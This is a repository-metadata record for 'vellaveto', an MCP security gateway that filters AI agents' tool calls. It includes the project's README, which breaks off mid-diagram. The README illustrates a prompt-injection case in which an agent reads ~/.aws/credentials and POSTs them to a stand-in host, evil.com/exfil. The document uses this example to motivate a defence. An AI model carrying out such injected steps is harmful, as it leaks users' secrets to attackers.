{"id":45929400,"url":"https://github.com/paolovella/vellaveto","last_synced_at":"2026-04-02T15:52:20.188Z","repository":{"id":338131899,"uuid":"1148198632","full_name":"paolovella/vellaveto","owner":"paolovella","description":"Agentic security control plane for MCP and AI agent tool calls. MCP-native policy gateway with topology discovery and audit.","archived":false,"fork":false,"pushed_at":"2026-03-30T12:04:07.000Z","size":108828,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2026-03-30T14:06:09.350Z","etag":null,"topics":["ai-agents","ai-safety","ai-security","audit-log","compliance","dlp","eu-ai-act","llm-security","mcp","mcp-gateway","model-context-protocol","oauth","owasp","policy-engine","policy-gateway","rust","security","security-audit","siem","tool-use"],"latest_commit_sha":null,"homepage":null,"language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/paolovella.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":"GOVERNANCE.md","roadmap":"ROADMAP.md","authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE","maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":"CLA.md"},"funding":{"github":["paolovella"]}},"created_at":"2026-02-02T17:34:20.000Z","updated_at":"2026-03-30T12:02:47.000Z","dependencies_parsed_at":null,"dependency_job_id":"bffc9a54-cce3-4196-bc6d-30cd7fdd6e10","html_url":"https://github.com/paolovella/vellaveto","commit_stats":null,"previous_names":["paolovella/sentinel","paolovella/vellaveto"],"tags_count":7,"template":false,"template_full_name":null,"purl":"pkg:github/paolovella/vellaveto","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paolovella%2Fvellaveto","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paolovella%2Fvellaveto/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paolovella%2Fvellaveto/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paolovella%2Fvellaveto/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/paolovella","download_url":"https://codeload.github.com/paolovella/vellaveto/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paolovella%2Fvellaveto/sbom","scorecard":{"id":1243315,"data":{"date":"2026-02-13T15:16:17Z","repo":{"name":"github.com/paolovella/sentinel","commit":"dd10a99684f7d6073b40d82172325849f26ab166"},"scorecard":{"version":"v5.0.0","commit":"ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4"},"score":5.7,"checks":[{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#binary-artifacts"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#branch-protection"}},{"name":"CI-Tests","score":-1,"reason":"no pull request found","details":null,"documentation":{"short":"Determines if the project runs tests before pull requests are merged.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#ci-tests"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#cii-best-practices"}},{"name":"Code-Review","score":0,"reason":"Found 0/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#code-review"}},{"name":"Contributors","score":0,"reason":"project has 0 contributing companies or organizations -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project has a set of contributors from multiple organizations (e.g., companies).","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#contributors"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#dangerous-workflow"}},{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: detected update tool: Dependabot: .github/dependabot.yml:1"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#dependency-update-tool"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_a2a_classify.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_agent_card_parse.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_agent_card_url.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_async_tasks.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_attestation_verify.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_cidr_parsing.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_circuit_breaker.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_classify_message.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_dlp_decoding.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_etdi_signature.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_extract_domain.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_homoglyph.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_injection_detection.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_json_rpc_framing.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_normalize_path.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_output_validation.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_policy_compilation.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_scan_params.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_schema_lineage.rs:2","Info: RustCargoFuzzer integration found: fuzz/fuzz_targets/fuzz_semantic_similarity.rs:2"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: GNU Affero General Public License v3.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#license"}},{"name":"Maintained","score":0,"reason":"project was created in last 90 days. please review its contents carefully","details":["Warn: Repository was created in last 90 days."],"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#maintained"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/docker-publish.yml:23"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#packaging"}},{"name":"Pinned-Dependencies","score":8,"reason":"dependency not pinned by hash detected -- score normalized to 8","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish-pypi.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/paolovella/sentinel/publish-pypi.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:9","Warn: containerImage not pinned by hash: Dockerfile:82: pin your Docker image by updating alpine:3.21 to alpine:3.21@sha256:c3f8e73fdb79deaebaa2037150150191b9dcbfba68b4a46d70103204c53f4709","Warn: pipCommand not pinned by hash: .github/workflows/publish-pypi.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/publish-pypi.yml:68","Info:  31 out of  31 GitHub-owned GitHubAction dependencies pinned","Info:  33 out of  34 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned","Info:   0 out of   2 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":0,"reason":"no SAST tool detected","details":["Warn: no pull requests merged into dev branch"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#sast"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: docs/SECURITY.md:1","Info: Found linked content: docs/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: docs/SECURITY.md:1","Info: Found text in security policy: docs/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#security-policy"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#signed-releases"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/scorecard.yml:23","Info: jobLevel 'contents' permission set to 'read': .github/workflows/scorecard.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/cargo-deny.yml:12","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/dependency-review.yml:8","Info: topLevel 'contents' permission set to 'read': .github/workflows/docker-publish.yml:11","Warn: topLevel 'packages' permission set to 'write': .github/workflows/docker-publish.yml:12","Info: topLevel 'contents' permission set to 'read': .github/workflows/docs.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/provenance-sbom.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/publish-crates.yml:15","Info: topLevel 'contents' permission set to 'read': .github/workflows/publish-pypi.yml:9","Warn: topLevel 'contents' permission set to 'write': .github/workflows/release.yml:8","Warn: topLevel 'packages' permission set to 'write': .github/workflows/release.yml:9","Info: topLevel permissions set to 'read-all': .github/workflows/scorecard.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/security-audit.yml:10","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#token-permissions"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2026-02-13T15:18:08.905Z","repository_id":338131899,"created_at":"2026-02-13T15:18:08.905Z","updated_at":"2026-02-13T15:18:08.905Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31309460,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-02T12:59:32.332Z","status":"ssl_error","status_checked_at":"2026-04-02T12:54:48.875Z","response_time":89,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ai-agents","ai-safety","ai-security","audit-log","compliance","dlp","eu-ai-act","llm-security","mcp","mcp-gateway","model-context-protocol","oauth","owasp","policy-engine","policy-gateway","rust","security","security-audit","siem","tool-use"],"created_at":"2026-02-28T09:23:31.716Z","updated_at":"2026-04-02T15:52:20.174Z","avatar_url":"https://github.com/paolovella.png","language":"Rust","funding_links":["https://github.com/sponsors/paolovella"],"categories":[],"sub_categories":[],"readme":"\u003cdiv align=\"center\"\u003e\n  \u003cbr\u003e\n  \u003cimg src=\"docs/readme-header.png\" alt=\"VellaVeto — Agent Interaction Firewall\" width=\"720\"\u003e\n  \u003cbr\u003e\u003cbr\u003e\n  \u003cp\u003e\n    \u003ca href=\"https://github.com/paolovella/vellaveto/releases\"\u003e\u003cimg src=\"https://img.shields.io/github/v/release/paolovella/vellaveto?display_name=release\" alt=\"Latest release\"\u003e\u003c/a\u003e\n    \u003ca href=\"https://github.com/paolovella/vellaveto/actions/workflows/ci.yml\"\u003e\u003cimg src=\"https://github.com/paolovella/vellaveto/actions/workflows/ci.yml/badge.svg?branch=main\" alt=\"CI\"\u003e\u003c/a\u003e\n    \u003ca href=\"https://github.com/paolovella/vellaveto/stargazers\"\u003e\u003cimg src=\"https://img.shields.io/badge/stars-⭐_star_if_useful-yellow.svg?style=flat\u0026logo=github\" alt=\"GitHub Stars\"\u003e\u003c/a\u003e\n    \u003ca href=\"LICENSING.md\"\u003e\u003cimg src=\"https://img.shields.io/badge/license-MPL--2.0_/_Apache--2.0_/_BUSL--1.1-blue.svg\" alt=\"License: Three-tier\"\u003e\u003c/a\u003e\n    \u003ca href=\"https://www.rust-lang.org/\"\u003e\u003cimg src=\"https://img.shields.io/badge/MSRV-1.88.0-orange.svg?logo=rust\" alt=\"MSRV 1.88.0\"\u003e\u003c/a\u003e\n    \u003cimg src=\"https://img.shields.io/badge/tests-multi--crate-brightgreen.svg\" alt=\"Tests across Rust, SDKs, and integration suites\"\u003e\n    \u003cimg src=\"https://img.shields.io/badge/clippy-zero_warnings-brightgreen.svg\" alt=\"Clippy: zero warnings\"\u003e\n    \u003ca href=\"docs/SECURITY_GUARANTEES.md\"\u003e\u003cimg src=\"https://img.shields.io/badge/internal_security_audits-continuous-orange.svg\" alt=\"Continuous internal security auditing\"\u003e\u003c/a\u003e\n    \u003ca href=\"formal/\"\u003e\u003cimg src=\"https://img.shields.io/badge/formal_verification-multi--tool-blueviolet.svg\" alt=\"Multi-tool formal verification\"\u003e\u003c/a\u003e\n    \u003ca href=\"https://modelcontextprotocol.io/specification/2025-11-25\"\u003e\u003cimg src=\"https://img.shields.io/badge/MCP-2025--11--25-blueviolet.svg\" alt=\"MCP 2025-11-25\"\u003e\u003c/a\u003e\n    \u003ca href=\"https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/\"\u003e\u003cimg src=\"https://img.shields.io/badge/OWASP-Agentic_Top_10-red.svg\" alt=\"OWASP Agentic Top 10\"\u003e\u003c/a\u003e\n    \u003ca href=\"https://github.com/paolovella/vellaveto/actions/workflows/provenance-sbom.yml\"\u003e\u003cimg src=\"https://img.shields.io/badge/SLSA-Level_3-green.svg\" alt=\"SLSA Level 3\"\u003e\u003c/a\u003e\n    \u003ca href=\"https://github.com/paolovella/vellaveto/actions/workflows/codeql.yml\"\u003e\u003cimg src=\"https://github.com/paolovella/vellaveto/actions/workflows/codeql.yml/badge.svg?branch=main\" alt=\"CodeQL\"\u003e\u003c/a\u003e\n  \u003c/p\u003e\n  \u003cp\u003e\n    \u003ca href=\"#the-problem\"\u003eThe Problem\u003c/a\u003e \u0026middot;\n    \u003ca href=\"#consumer-shield--protect-users-from-ai-providers\"\u003eShield\u003c/a\u003e \u0026middot;\n    \u003ca href=\"#quick-start\"\u003eQuick Start\u003c/a\u003e \u0026middot;\n    \u003ca href=\"#how-it-compares\"\u003eCompare\u003c/a\u003e \u0026middot;\n    \u003ca href=\"#security\"\u003eSecurity\u003c/a\u003e \u0026middot;\n    \u003ca href=\"#architecture\"\u003eArchitecture\u003c/a\u003e \u0026middot;\n    \u003ca href=\"#documentation\"\u003eDocs\u003c/a\u003e\n  \u003c/p\u003e\n\u003c/div\u003e\n\n---\n\n**VellaVeto is an agent interaction firewall** — the runtime boundary where AI agents interact with tools, services, and users. Every side-effecting decision crosses this boundary: tool calls are evaluated against policy, irreversible actions require bound approvals, sessions are isolated by design, and every verdict is recorded in a tamper-evident audit trail with a structured [ACIS decision envelope](docs/SECURITY_MODEL.md). Deploy it as a stdio proxy, HTTP gateway, or consumer-side privacy shield.\n\n## The Problem\n\nAI agents can read files, make HTTP requests, and execute commands. Without centralized controls:\n\n```\nAgent receives prompt injection\n  → reads ~/.aws/credentials\n  → POST https://evil.com/exfil?data=AKIA...\n  → no audit trail, no one notices\n```\n\nThis is not hypothetical. The MCP ecosystem has accumulated [dozens of published CVEs](https://www.practical-devsecops.com/mcp-security-vulnerabilities/) in roughly the last 15 months: command injection in `mcp-remote` ([CVE-2025-6514](https://nvd.nist.gov/vuln/detail/CVE-2025-6514)), path traversal in Anthropic's official Git MCP server ([CVE-2025-68143/44/45](https://github.com/anthropics/anthropic-cookbook/security/advisories)), [SANDWORM](docs/THREAT_MODEL.md) npm supply-chain worms injecting rogue MCP servers into AI configs, and [SmartLoader](https://blog.morphisec.com/smartloader-malware-targets-manufacturing) trojans distributed as MCP packages. [Thousands of MCP servers](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks) have been found exposed with no authentication.\n\nVellaVeto is the runtime boundary between AI agents and tool servers. Every side-effecting call is evaluated against policy before execution. No policy match, missing context, or evaluation error results in `Deny`. Every decision is logged in a tamper-evident chain with a structured ACIS decision envelope.\n\n```\nAgent attempts: read_file(\"/home/user/.aws/credentials\")\n  → VellaVeto evaluates against policy\n  → Deny { reason: \"path blocked by credential-protection rule\" }\n  → Logged with SHA-256 chain + Ed25519 checkpoint\n  → Agent never sees the file contents\n```\n\n## Consumer Shield — Protect Users from AI Providers\n\nEnterprise security is half the story. When AI providers process tool calls through their infrastructure, they see your file paths, credentials, browsing patterns, and work context. The [Consumer Shield](examples/presets/consumer-shield.toml) is a user-side deployment mode that protects individuals from mass data collection — regardless of what the provider's terms of service say.\n\n```\nYou type: \"Read my medical records at /home/alice/health/lab-results.pdf\"\n  → Shield intercepts before the provider sees it\n  → PII replaced: \"Read my medical records at [PII_PATH_1]\"\n  → Provider processes the sanitized request\n  → Response comes back, Shield restores original paths\n  → Encrypted local audit proves what was shared and what was stripped\n```\n\n**What the Shield does:**\n\n| Layer | What It Protects | How |\n|---|---|---|\n| **PII sanitization** | File paths, emails, IPs, names, credentials | Bidirectional replacement with `[PII_{CAT}_{SEQ}]` placeholders — provider never sees originals |\n| **Encrypted local audit** | Full interaction history | XChaCha20-Poly1305 + Argon2id, stored on your machine, not the provider's |\n| **Session isolation** | Cross-session correlation | Each session gets a fresh credential — provider cannot link sessions to build a profile |\n| **Credential vault** | API keys, tokens passed through tool calls | Blind credential binding — provider sees the tool call but not the credential value |\n| **Stylometric resistance** | Writing style fingerprinting | Whitespace, punctuation, emoji, and filler word normalization so your writing patterns are not identifiable |\n| **Warrant canary** | Legal compulsion transparency | Ed25519-signed canary — if it stops being updated, assume legal pressure |\n\nThe Shield runs locally as `vellaveto-shield` and is licensed under **MPL-2.0** — no enterprise license required.\n\n```bash\nvellaveto-shield --config consumer-shield.toml -- npx @anthropic/claude-desktop\n```\n\n## What It Does\n\nVellaVeto enforces five boundary invariants at the runtime surface where agents act on the world:\n\n1. **No tool invocation without capability** — every side-effecting call is mediated through a shared evaluation pipeline, producing a structured ACIS decision envelope regardless of transport\n2. **Delegated capability is monotonic** — capability grants can only attenuate, never escalate; formally verified in Verus and Coq\n3. **Irreversible actions require signed approvals** — bound, replay-safe, single-use approvals with session and fingerprint binding\n4. **No cross-session leakage, coherent cross-session work** — session isolation is a product invariant, not best-effort; credential rotation, context window isolation, and stylometric normalization enforce unlinkability\n5. **Untrusted content cannot silently drive privileged actions** — [control/data channel separation](docs/CHANNEL_SEPARATION.md): untrusted tool responses auto-taint the session regardless of detection, intent scope declarations constrain action space, and behavioral sequence analysis catches anomalous patterns. These three layers compose into detection-independent defense\n\nThese invariants are enforced by concrete runtime capabilities:\n\n- **Policy engine** — glob/regex/domain matching, parameter constraints, time windows, call limits, per-tool quotas, secret substitution, declarative policy templates, Cedar-style ABAC, Wasm plugins. \u003c5ms P99 evaluation.\n- **Threat detection** — injection, tool squatting, rug pulls, schema poisoning, DLP, memory poisoning, multi-agent collusion, semantic output contracts, trust-tier containment, contagion controls, response metadata stripping, delegation chain enforcement, jailbreak patterns, token leakage, system prompt leak, browser agent attacks, output anomalies, denial-of-wallet, cascade failure detection, exfiltration path analysis, server fingerprint drift, goal drift, A2A integrity, NHI overpermission, agent behavioral baseline, prompt template injection, ETDI signature verification, MINJA defense, and [control/data channel separation](docs/CHANNEL_SEPARATION.md) (source-class tainting, intent scope, behavioral sequence analysis). 30+ detection layers, not just regex.\n- **Identity and access** — OAuth 2.1/JWT, OIDC/SAML, RBAC, capability delegation, DPoP (RFC 9449), non-human identity lifecycle.\n- **Topology discovery** — auto-discover MCP servers, tools, and resources. Detect drift, tool shadowing, and namespace collisions.\n- **Audit and compliance** — tamper-evident logs (SHA-256 + Merkle + Ed25519), ACIS decision envelopes, ZK proofs, OTel-compatible span generation, evidence packs mapped to EU AI Act, SOC 2, DORA, NIS2, NIST AI 600-1, ISO 42001, and 6 more frameworks. Annex IV documentation, Article 73 incident reports, and FRIA data export generators.\n- **Consumer shield** — all of the above, running user-side. See [Consumer Shield](#consumer-shield--protect-users-from-ai-providers).\n\n**Core guarantees:**\n- **Complete mediation** — request and response paths evaluated before tool execution and before model return\n- **Fail-closed** — errors, missing policies, and unresolved context all produce `Deny`\n- **Tamper-evident audit** — SHA-256 hash chain + Merkle proofs + Ed25519 signed checkpoints, with structured ACIS decision envelopes on every verdict\n- **Content-bound attestation** — HMAC-SHA256 signed scan results on every response, cryptographically binding injection/DLP/schema verdicts to the response content hash. Consumers verify with `SDK.verify_attestation()`. Set `VELLAVETO_ATTESTATION_SECRET` to enable.\n- **Public security contract** — [Security Guarantees](docs/SECURITY_GUARANTEES.md) + [Assurance Case](docs/ASSURANCE_CASE.md) with reproducible evidence\n\n## Quick Start\n\n### Instant Protection\n\nPick a protection level and go — no config file needed:\n\n```bash\n# Install (pick one):\ncargo install vellaveto-proxy                 # From source (~2 min)\n# or download pre-built binary from https://github.com/paolovella/vellaveto/releases\n\n# Shield — credentials, SANDWORM defense, exfil blocking, injection/DLP\nvellaveto-proxy --protect shield -- npx @modelcontextprotocol/server-filesystem /tmp\n\n# Fortress — shield + system files, package configs, sudo approval, memory tracking\nvellaveto-proxy --protect fortress -- python -m mcp_server\n\n# Vault — deny-by-default, safe reads allowed, writes require approval\nvellaveto-proxy --protect vault -- ./my-server\n```\n\n| Level | Default | What it blocks | For whom |\n|-------|---------|----------------|----------|\n| `shield` | Allow | Credentials, SANDWORM (AI config injection), exfil domains, git hooks, system files, dangerous commands, injection, DLP | Anyone — just works |\n| `fortress` | Allow | Shield + package config tampering, privilege escalation approval, memory poisoning detection, shadow agent detection | Developers who want more |\n| `vault` | **Deny** | Everything not explicitly allowed; source reads + git reads allowed, writes require approval | Maximum security |\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"docs/shield-demo.gif\" alt=\"VellaVeto Shield demo — blocking credential theft, data exfiltration, SANDWORM config injection, and prompt injection while allowing safe operations\" width=\"880\"\u003e\n\u003c/p\u003e\n\n### Setup Wizard\n\n```bash\nnpx create-vellaveto\n```\n\n### Custom Config\n\n```bash\nvellaveto-proxy --config policy.toml -- /path/to/mcp-server\n```\n\n### HTTP Reverse Proxy (deployed MCP servers)\n\n```bash\ncargo install vellaveto-http-proxy\nVELLAVETO_API_KEY=$(openssl rand -hex 32) vellaveto-http-proxy \\\n  --upstream http://localhost:8000/mcp \\\n  --config policy.toml \\\n  --listen 127.0.0.1:3001\n```\n\n### Docker\n\n```bash\ndocker pull ghcr.io/paolovella/vellaveto:latest\ndocker run -p 3000:3000 \\\n  -v /path/to/config.toml:/etc/vellaveto/config.toml:ro \\\n  ghcr.io/paolovella/vellaveto:latest\n```\n\n### Use with Claude Desktop\n\nEdit `~/Library/Application Support/Claude/claude_desktop_config.json` (macOS) or `%APPDATA%\\Claude\\claude_desktop_config.json` (Windows):\n\n```json\n{\n  \"mcpServers\": {\n    \"filesystem\": {\n      \"command\": \"vellaveto-proxy\",\n      \"args\": [\n        \"--protect\", \"shield\",\n        \"--\", \"npx\", \"-y\",\n        \"@modelcontextprotocol/server-filesystem\", \"/home/user/projects\"\n      ]\n    }\n  }\n}\n```\n\n### Use with Cursor\n\nEdit `.cursor/mcp.json` in your project directory:\n\n```json\n{\n  \"mcpServers\": {\n    \"filesystem\": {\n      \"command\": \"vellaveto-proxy\",\n      \"args\": [\n        \"--protect\", \"fortress\",\n        \"--\", \"npx\", \"-y\",\n        \"@modelcontextprotocol/server-filesystem\", \".\"\n      ]\n    }\n  }\n}\n```\n\n### Use with Windsurf\n\nEdit `~/.codeium/windsurf/mcp_config.json`:\n\n```json\n{\n  \"mcpServers\": {\n    \"filesystem\": {\n      \"command\": \"vellaveto-proxy\",\n      \"args\": [\n        \"--protect\", \"fortress\",\n        \"--\", \"npx\", \"-y\",\n        \"@modelcontextprotocol/server-filesystem\", \".\"\n      ]\n    }\n  }\n}\n```\n\nReplace `shield`/`fortress` with `vault` for maximum security. The same pattern works with **any MCP client** — wrap the server command with `vellaveto-proxy --protect \u003clevel\u003e --`.\n\n### Use with OpenAI Codex CLI\n\nEdit `~/.codex/config.json`:\n\n```json\n{\n  \"mcpServers\": {\n    \"filesystem\": {\n      \"command\": \"vellaveto-proxy\",\n      \"args\": [\n        \"--protect\", \"shield\",\n        \"--\", \"npx\", \"-y\",\n        \"@modelcontextprotocol/server-filesystem\", \".\"\n      ]\n    }\n  }\n}\n```\n\n### Use with VS Code (Copilot / Cline / Roo Code)\n\nAdd to your VS Code `settings.json`:\n\n```json\n{\n  \"mcp\": {\n    \"servers\": {\n      \"filesystem\": {\n        \"command\": \"vellaveto-proxy\",\n        \"args\": [\n          \"--protect\", \"fortress\",\n          \"--\", \"npx\", \"-y\",\n          \"@modelcontextprotocol/server-filesystem\", \".\"\n        ]\n      }\n    }\n  }\n}\n```\n\nSee [docs/QUICKSTART.md](docs/QUICKSTART.md) for more providers (Zed, JetBrains, Amazon Q, Continue) and SDK integration guides (Anthropic, OpenAI, LangChain, LangGraph, CrewAI).\n\n### VellaVeto Desktop (native app)\n\nOne-click protection for all your AI tools — no manual config editing needed.\n\n- **Auto-detection** — finds Claude Desktop, Claude Code, Cursor, Windsurf, VS Code (Copilot/Cline/Roo Code), OpenAI Codex CLI, Zed, Continue, Amazon Q Developer, JetBrains AI\n- **One-click protect** — rewrites MCP config to wrap servers with `vellaveto-proxy --protect \u003clevel\u003e`\n- **Activity feed** — real-time JSONL event stream showing every allow/deny decision\n- **Risk scanning** — flags broad filesystem access, unprotected `npx` commands, missing protection\n\nBuilt with [Tauri v2](https://tauri.app/) (Rust backend + React frontend). Source: [`packages/vellaveto-desktop/`](packages/vellaveto-desktop/).\n\n## How It Works\n\nEvery side-effecting decision crosses VellaVeto's runtime boundary:\n\n```\n                    ┌──────────────────────────────────┐\n  AI Agent ────────\u003e│     VellaVeto Runtime Boundary    │────────\u003e Tool Server\n                    │                                  │\n                    │  1. Parse action + fingerprint   │\n                    │  2. Match policy (fail-closed)   │\n                    │  3. Evaluate constraints + ABAC  │\n                    │  4. Check approval (if required) │\n                    │  5. Allow / Deny verdict         │\n                    │  6. ACIS decision envelope       │\n                    │  7. Tamper-evident audit log      │\n                    └────────────────┬─────────────────┘\n                                     │\n                    Audit trail: SHA-256 chain +\n                    ACIS envelopes + Ed25519 signatures\n```\n\nThe same mediation pipeline runs across all transports (stdio, HTTP, WebSocket, gRPC, SSE) — transport parity is enforced, not assumed.\n\n## Architecture\n\n```mermaid\ngraph TD\n    subgraph \"Policy Core\"\n        VT[vellaveto-types] --\u003e VCfg[vellaveto-config]\n        VT --\u003e VCan[vellaveto-canonical]\n        VT --\u003e VE[vellaveto-engine]\n        VT --\u003e VDisc[vellaveto-discovery]\n        VE --\u003e VA[vellaveto-audit]\n        VE --\u003e VAppr[vellaveto-approval]\n    end\n\n    subgraph 